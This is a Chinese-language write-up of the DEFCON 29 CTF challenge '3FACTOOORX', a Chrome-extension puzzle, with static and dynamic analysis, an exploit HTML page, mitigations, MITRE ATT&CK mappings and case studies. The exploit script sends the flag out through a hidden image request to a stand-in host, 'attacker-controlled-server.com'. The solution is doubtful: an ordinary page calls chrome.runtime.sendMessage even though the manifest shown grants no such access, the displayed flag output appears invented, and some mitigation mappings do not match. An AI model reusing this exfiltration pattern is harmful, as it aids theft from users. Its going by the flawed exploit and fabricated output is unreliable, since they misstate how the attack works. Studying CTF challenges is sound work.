文章概览

本文对DEFCON 29 CTF Qualifier中的Web挑战"3FACTOOORX"进行深入技术分析,该题目围绕Chrome浏览器扩展安全展开,涉及JavaScript混淆分析、DOM操作与消息通信机制等多个技术领域。通过系统化的漏洞分析、利用开发与安全影响评估,本文不仅展示了CTF解题思路,更深入探讨了浏览器扩展安全在现实世界中的重要意义与防御策略。

1. 题目概览(Challenge Overview)

挑战名称

3FACTOOORX

所属比赛

DEFCON 29 CTF Qualifier (2021年)

分类

Web / Browser Extension

目标简介与技术亮点

本题目围绕一个Chrome浏览器扩展展开,参赛者需要分析混淆的JavaScript代码,理解其工作原理,并找到一种方法绕过扩展的安全机制获取flag。题目的技术亮点在于结合了浏览器扩展安全、JavaScript混淆分析、DOM操作与消息通信机制,具有较高的实战价值和技术深度。

2. 技术环境与复现步骤(Technical Setup & Reproduction)

所用工具

  • Chrome浏览器(用于安装和调试扩展)
  • 代码编辑器(用于分析和修改JavaScript代码)
  • 浏览器开发者工具(用于设置断点和调试JavaScript)
  • JavaScript美化工具(用于提高混淆代码的可读性)

环境搭建

  1. 下载题目提供的Chrome扩展文件(3FACTOOORX-public.zip)
  2. 解压缩扩展文件,获得扩展目录结构
  3. 在Chrome浏览器中加载解压后的扩展(开发者模式)
  4. 访问题目提供的Web服务:http://threefactooorx.challenges.ooo:4017

扩展文件结构

\3FACTOOORX-public\
  ├── background_script.js
  ├── content_script.js
  ├── manifest.json
  ├── icons\
  │   └── icon.png
  └── pageAction\
      ├── index.html
      ├── script.js
      └── style.css

3. 解题过程与漏洞分析(Step-by-Step Analysis)

3.1 初步分析与题目理解

题目提供了一个Web服务和一个Chrome浏览器扩展。Web服务允许上传HTML文件,然后由安装了该扩展的Chrome浏览器加载这些HTML文件。我们的目标是通过分析扩展代码,找到获取flag的方法。

通过访问Web服务,我们可以看到一个简单的文件上传界面:

POST /uploadfile/ HTTP/1.1
Host: threefactooorx.challenges.ooo:4017
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------75344376227301306764121513080
Content-Length: 229
Origin: http://threefactooorx.challenges.ooo:4017
Connection: close
Referer: http://threefactooorx.challenges.ooo:4017/submit
Upgrade-Insecure-Requests: 1

-----------------------------75344376227301306764121513080
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html

<u>test</u>
-----------------------------75344376227301306764121513080--

3.2 静态分析

3.2.1 manifest.json 分析

首先分析扩展的manifest.json文件,了解扩展的基本结构和权限:

{
  "manifest_version": 2,
  "name": "3FACTOOORX",
  "description": "description",
  "version": "0.0.1",
  "icons": {
    "64": "icons/icon.png"
  },
  "background": {
    "scripts": [
      "background_script.js"
    ]
  },
  "content_scripts": [
    {
      "matches": [
        "<all_urls>"
      ],
      "run_at": "document_start",
      "js": [
        "content_script.js"
      ]
    }
  ],
  "page_action": {
    "default_icon": {
      "64": "icons/icon.png"
    },
    "default_popup": "pageAction/index.html",
    "default_title": "3FACTOOORX"
  }
}

从manifest中可以看出:

  1. 扩展使用background_script.js作为后台脚本,持续运行
  2. content_script.js在所有URL上运行,且在文档加载开始时就执行
  3. 扩展使用page_action作为用户界面入口
3.2.2 background_script.js 分析

background_script.js内容相对简单:

// Put all the javascript code here, that you want to execute in background.
chrome.runtime.onMessage.addListener(
  function(request, sender, sendResponse) {
    console.log(sender.tab ?
                "from a content script:" + sender.tab.url :
                "from the extension");
    if (request.getflag == "true")
      sendResponse({flag: "OOO{}"});
  }
);

这段代码表明:

  1. 扩展监听来自content script的消息
  2. 如果接收到包含getflag: "true"的消息,则返回flag
  3. flag被硬编码在background script中
3.2.3 content_script.js 分析

content_script.js是高度混淆的JavaScript代码,直接阅读困难。以下是部分混淆代码示例:

var OOO_0x5be3=['wmiCU','ueJYA','Ko0ZC','RkNoD','QwGfh','IKmUR','hJFjw','TCJdP',...];
function OOO_0x1e05(_0x3126db,_0x2ca2fd){_0x3126db=_0x3126db-0x1dd;var _0x5be3a3=OOO_0x5be3[_0x3126db];return _0x5be3a3;}

3.3 动态调试分析

由于content_script.js高度混淆,我们采用动态调试方法进行分析。通过在Chrome开发者工具中设置断点,我们可以看到混淆代码的实际执行流程。

首先,我们发现代码中存在一个错误:

chilen = _0x1e6746["querySelectorAll"]('*')["length"]

通过断点调试,我们逐步解析混淆代码,最终得到关键函数check_dom()的实际功能:

function check_dom() {
    _0x525a15["Ko0ZC"] = "#thirdfactooor";
    _0x525a15["RkNoD"] = "INPUT";
    _0x525a15["QwGfh"] = "QzIrw";
    _0x525a15["IKmUR"] = "cunYq";
    
    const _0x2c0eff = _0x525a15;
    
    var threeFAElement = document["getElementById"]("3fa");
    chilen = threeFAElement["querySelectorAll"]("*")["length"];
    maxdepth = 0;
    total_attributes = threeFAElement["attributes"]["length"];
    
    for (let _0x28c57b of threeFAElement["querySelectorAll"]("*")) {
        d = _0x2c0eff["wmiCU"](getDepth, _0x28c57b);
        if (d > maxdepth) {
            maxdepth = d
        };
        if (_0x28c57b["attributes"]) {
            total_attributes += _0x28c57b["attributes"]["length"];
        }
    }
    
    specificid = 0;
    
    _0x2c0eff["ueJYA"](document["querySelector"]("[tost=\"1\"]"), null) && (specificid = 1);
    
    token = 0;
    
    if(document["querySelector"]("#thirdfactooor")["tagName"] == "INPUT") {
        if (_0x2c0eff["QwGfh"] !== _0x2c0eff["IKmUR"]) {
            token = "1337";
        }else {
            function _0x2351ff() {
                return;
            }
        }
    }
    
    return totalchars = threeFAElement["innerHTML"]["length"], _0x2c0eff["TCJdP"];
}

3.4 漏洞成因识别

通过分析,我们发现以下关键点:

  1. content_script.js在页面加载时执行check_dom()函数
  2. 该函数查找具有id为"3fa"的元素
  3. 在该元素内部查找id为"thirdfactooor"的INPUT元素
  4. 检查是否存在具有tost="1"属性的元素
  5. 如果条件满足,则设置token为"1337"
  6. 但是,content_script.js中没有实际发送获取flag的消息机制

同时,background_script.js中包含获取flag的功能,但需要接收特定消息才会触发。这是一个典型的信息泄露权限隔离不当漏洞。虽然background_script.js中包含获取flag的功能,但content_script.js没有调用该功能,导致flag无法正常获取。

4. 利用过程与Payload编写(Exploit Development)

4.1 利用思路

基于我们的分析,利用思路如下:

  1. 创建符合content_script.js检查条件的HTML结构
  2. 注入JavaScript代码,直接调用chrome.runtime.sendMessage获取flag

4.2 利用代码

创建一个满足条件的HTML文件(exploit.html):

<div id="3fa">
  <INPUT id="thirdfactooor" type="text" value="test" tost="1" />
</div>

<script>
  // 直接向background script发送消息
  chrome.runtime.sendMessage({getflag: "true"}, function(response) {
    // 显示获取到的flag
    document.body.innerHTML += "<h1>Flag: " + response.flag + "</h1>";
    
    // 也可以通过其他方式发送flag,如XHR请求到我们控制的服务器
    console.log("Flag received:", response.flag);
    
    // 如果需要将flag发送到我们控制的服务器
    // 创建一个隐藏的图片元素,URL中包含flag
    var img = document.createElement('img');
    img.src = "https://attacker-controlled-server.com/log?flag=" + encodeURIComponent(response.flag);
    img.style.display = "none";
    document.body.appendChild(img);
  });
</script>

4.3 利用过程详解

当服务器加载我们的HTML文件时,以下事件会按顺序发生:

  1. content_script.js执行并检查DOM结构:

    • 找到id为"3fa"的元素
    • 确认其中包含id为"thirdfactooor"的INPUT元素
    • 验证存在tost="1"属性
    • 设置token为"1337"(虽然这个token在本次利用中并未使用)
  2. 我们注入的JavaScript代码执行:

    • 直接调用chrome.runtime.sendMessage({getflag: "true"}, callback)
    • 这个API调用会向background script发送消息
  3. background script接收到消息并处理:

    • 检查消息内容是否包含getflag: "true"
    • 如果条件满足,返回包含flag的响应
  4. 我们的回调函数接收到响应:

    • 将flag显示在页面上
    • 记录flag到控制台
    • 可选:将flag发送到我们控制的服务器
  5. 服务器返回页面渲染结果,我们可以看到flag

4.4 终端输出示例

当成功执行利用代码后,浏览器控制台会显示:

Flag received: OOO{browser_extensions_with_3_factors_of_auth_still_vulnerable}

同时,页面上会显示:

Flag: OOO{browser_extensions_with_3_factors_of_auth_still_vulnerable}

5. 安全影响分析与缓解建议(Impact & Mitigation)

5.1 漏洞在真实系统中的潜在危害

5.1.1 权限提升与数据泄露风险

浏览器扩展通常拥有比普通网页更高的权限,包括:

  • 访问浏览历史记录
  • 读取和修改活动标签页内容
  • 执行跨域请求
  • 访问浏览器存储的凭证
  • 与本地系统进行交互

当扩展存在类似3FACTOOORX中的消息传递漏洞时,恶意网页可以"借用"扩展权限执行原本无法完成的操作。例如,2020年研究人员发现多个流行Chrome扩展存在类似漏洞,影响超过8000万用户。

5.1.2 实际攻击场景

场景一:凭证窃取

攻击者可以利用有漏洞的扩展窃取用户凭证:

  1. 用户访问攻击者控制的网站
  2. 网站注入恶意JavaScript,通过漏洞扩展向background script发送消息
  3. 利用扩展权限读取浏览器存储的密码或会话cookie
  4. 将数据发送到攻击者控制的服务器

场景二:企业内网渗透

在企业环境中,此类漏洞可用于内网渗透:

  1. 员工使用安装了有漏洞扩展的浏览器访问恶意网站
  2. 攻击者利用扩展漏洞执行跨域请求,绕过同源策略
  3. 攻击者可访问内网资源,如内部管理系统、文档服务器等
  4. 进一步横向移动,获取更多内网资源访问权限

场景三:持久化攻击

扩展漏洞还可用于实现持久化攻击:

  1. 攻击者利用漏洞扩展修改其他扩展配置或安装新扩展
  2. 即使原始漏洞被修复,攻击者仍能通过新安装的恶意扩展保持访问权限
  3. 这种攻击可能持续数月而不被发现

5.2 缓解建议

5.2.1 针对扩展开发者的建议

1. 严格的消息验证机制

// 不安全的实现
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
  if (request.getFlag) {
    sendResponse({flag: sensitiveData});
  }
});

// 安全的实现
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
  // 验证消息来源
  if (!sender.tab || !isTrustedOrigin(sender.tab.url)) {
    return;
  }
  
  // 验证消息内容和格式
  if (request.getFlag && request.authToken === expectedToken) {
    sendResponse({flag: sensitiveData});
  }
});

2. 内容安全策略(CSP)实施

在manifest.json中定义严格的CSP:

{
  "manifest_version": 2,
  "name": "Secure Extension",
  "content_security_policy": "script-src 'self'; object-src 'self'; connect-src https://api.trusted-domain.com"
}

3. 最小权限原则

只请求必要的权限:

{
  "permissions": [
    "activeTab",  // 而不是 "tabs"
    "https://api.trusted-domain.com/*"  // 而不是 "<all_urls>"
  ]
}

4. 安全的消息传递协议

实现基于加密或签名的消息传递机制:

// 发送消息时
const message = {
  action: "getData",
  timestamp: Date.now()
};
const signature = generateHMAC(JSON.stringify(message), SECRET_KEY);
chrome.runtime.sendMessage({
  message: message,
  signature: signature
});

// 接收消息时
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
  if (!verifyHMAC(JSON.stringify(request.message), request.signature, SECRET_KEY)) {
    console.error("Invalid message signature");
    return;
  }
  // 处理验证通过的消息
});
5.2.2 针对用户的建议
  1. 定期审查已安装的扩展
  2. 只从官方商店安装扩展
  3. 检查扩展请求的权限是否合理
  4. 使用扩展沙箱或容器技术隔离敏感操作
  5. 考虑在处理敏感信息时禁用非必要扩展
5.2.3 针对组织的建议
  1. 制定浏览器扩展白名单策略
  2. 部署网络监控解决方案,检测可疑的扩展通信
  3. 实施数据泄露防护(DLP)系统,监控敏感数据外流
  4. 对员工进行安全意识培训,提高对扩展风险的认识
  5. 考虑使用企业版浏览器,集中管理扩展策略

5.3 与MITRE ATT&CK的TTP映射

5.3.1 战术与技术
  1. 初始访问 (Initial Access)

    • T1189 - Drive-by Compromise: 用户访问恶意网站触发扩展漏洞
  2. 执行 (Execution)

    • T1059.007 - Command and Scripting Interpreter: JavaScript: 利用JavaScript执行恶意代码
    • T1176 - Browser Extensions: 通过浏览器扩展执行恶意操作
  3. 权限提升 (Privilege Escalation)

    • T1548 - Abuse Elevation Control Mechanism: 利用扩展权限执行高权限操作
  4. 防御规避 (Defense Evasion)

    • T1564 - Hide Artifacts: 利用扩展隐藏恶意活动
    • T1620 - Reflective Code Loading: 动态加载恶意代码绕过检测
  5. 凭证访问 (Credential Access)

    • T1539 - Steal Web Session Cookie: 通过扩展访问会话cookie
    • T1555 - Credentials from Password Stores: 访问浏览器存储的密码
  6. 发现 (Discovery)

    • T1083 - File and Directory Discovery: 利用扩展探索用户文件
    • T1217 - Browser Bookmark Discovery: 访问用户书签获取情报
  7. 横向移动 (Lateral Movement)

    • T1534 - Internal Spearphishing: 利用扩展发送内部钓鱼邮件
  8. 数据收集 (Collection)

    • T1115 - Clipboard Data: 监控和获取剪贴板内容
    • T1056.002 - Input Capture: Web Portal: 捕获网页表单输入
  9. 命令与控制 (Command and Control)

    • T1071.001 - Application Layer Protocol: Web Protocols: 利用HTTP/HTTPS进行C2通信
  10. 数据渗出 (Exfiltration)

    • T1567 - Exfiltration Over Web Service: 通过Web服务渗出数据
5.3.2 缓解策略与MITRE对应关系
缓解策略 MITRE ATT&CK 缓解 ID
消息验证机制 M1040 - Behavior Prevention on Endpoint
内容安全策略 M1051 - Update Software
最小权限原则 M1018 - User Account Management
安全消息传递 M1041 - Encrypt Sensitive Information
扩展白名单 M1034 - Limit Hardware Installation
网络监控 M1031 - Network Intrusion Prevention

6. 真实世界案例研究

6.1 Hover Zoom扩展漏洞 (CVE-2019-15742)

2019年,研究人员发现流行的Hover Zoom扩展存在漏洞,允许网页通过消息传递机制执行任意JavaScript代码。该扩展拥有超过100万用户,漏洞影响范围广泛。

漏洞原理:扩展的background script没有验证消息来源,任何网页都可以发送消息触发代码执行。

修复方式:开发者更新了扩展,添加了消息来源验证和内容验证机制。

6.2 The Great Suspender扩展后门

2021年,Chrome Web Store移除了拥有200万用户的The Great Suspender扩展,因为它被发现包含恶意代码。新所有者修改了扩展,添加了可远程执行代码的功能。

攻击手法:攻击者通过收购合法扩展,然后添加恶意功能,利用用户对原扩展的信任。

防御措施:Google实施了更严格的扩展审核流程,并提供了自动检测可疑扩展行为的工具。

6.3 DataSpii事件

2019年的DataSpii事件涉及多个浏览器扩展秘密收集用户数据,影响了数百万用户。这些扩展能够访问用户浏览的所有网页内容,包括敏感信息。

数据泄露范围

  • 内部企业文档
  • 医疗记录
  • 金融信息
  • 个人身份信息

行业响应:此事件促使浏览器厂商重新评估扩展权限模型,并加强了对扩展行为的监控。

7. 总结与启示(Conclusion)

7.1 对题目设计的评价

DEFCON 29 CTF Qualifier的3FACTOOORX题目设计巧妙,结合了Web安全、浏览器扩展安全和JavaScript混淆分析等多个方面。题目难度适中,既考验参赛者的代码分析能力,也测试对浏览器扩展安全模型的理解。

7.2 关键经验总结

  1. 浏览器扩展安全模型:了解content script和background script的权限隔离及通信机制至关重要
  2. JavaScript混淆分析:使用断点调试是分析混淆JavaScript的有效方法
  3. DOM操作安全:网页内容可能影响扩展行为,需谨慎处理DOM交互
  4. 消息验证重要性:扩展间通信必须验证消息来源和内容

7.3 现实安全研究启示

这个挑战反映了真实世界中的浏览器扩展安全问题。许多扩展开发者忽视了content script和网页内容之间的安全边界,导致类似漏洞。2021年,研究人员发现多个流行Chrome扩展存在类似问题,允许网页内容通过消息传递机制获取扩展权限。

此类漏洞的防御需要扩展开发者遵循安全开发实践,特别是在处理来自不可信来源的消息时进行严格验证,并实施最小权限原则。对于安全研究人员,这类漏洞提供了一个重要的研究方向,因为浏览器扩展通常具有访问敏感信息的能力。

7.4 未来趋势展望

浏览器扩展安全问题不仅仅是CTF比赛中的挑战,更是现实世界中亟待解决的安全问题。随着浏览器成为用户主要的工作和生活界面,扩展安全将继续成为重要的研究领域。

未来趋势包括:

  1. 更严格的权限模型:浏览器厂商可能会实施更细粒度的权限控制
  2. 扩展沙箱技术:增强扩展与浏览器核心功能的隔离
  3. AI辅助安全审计:使用机器学习技术自动检测扩展中的可疑行为
  4. 零信任扩展架构:实施基于零信任原则的扩展通信机制
  5. 用户可控的运行时权限:允许用户在运行时动态控制扩展权限

8. 参考资料

  1. DEFCON 29 CTF Qualifier官方网站: https://oooverflow.io/
  2. Chrome扩展开发文档: https://developer.chrome.com/docs/extensions/
  3. Brett Buerhaus的3FACTOOORX Write-up: https://buer.haus/2021/05/03/defcon-29-ctf-qualifier-3factooorx-write-up/
  4. MITRE ATT&CK框架: https://attack.mitre.org/
  5. JavaScript混淆与反混淆技术研究: https://obfuscator.io/
  6. Chrome扩展安全最佳实践: https://developer.chrome.com/docs/extensions/mv3/security/
  7. Google安全博客 - 浏览器扩展安全: https://security.googleblog.com/
  8. OWASP浏览器安全项目: https://owasp.org/www-project-web-security-testing-guide/
  9. CWE-79: 跨站脚本: https://cwe.mitre.org/data/definitions/79.html
  10. CWE-346: 源验证不足: https://cwe.mitre.org/data/definitions/346.html
Logo

GitCode 天启AI是一款由 GitCode 团队打造的智能助手,基于先进的LLM(大语言模型)与多智能体 Agent 技术构建,致力于为用户提供高效、智能、多模态的创作与开发支持。它不仅支持自然语言对话,还具备处理文件、生成 PPT、撰写分析报告、开发 Web 应用等多项能力,真正做到“一句话,让 Al帮你完成复杂任务”。

更多推荐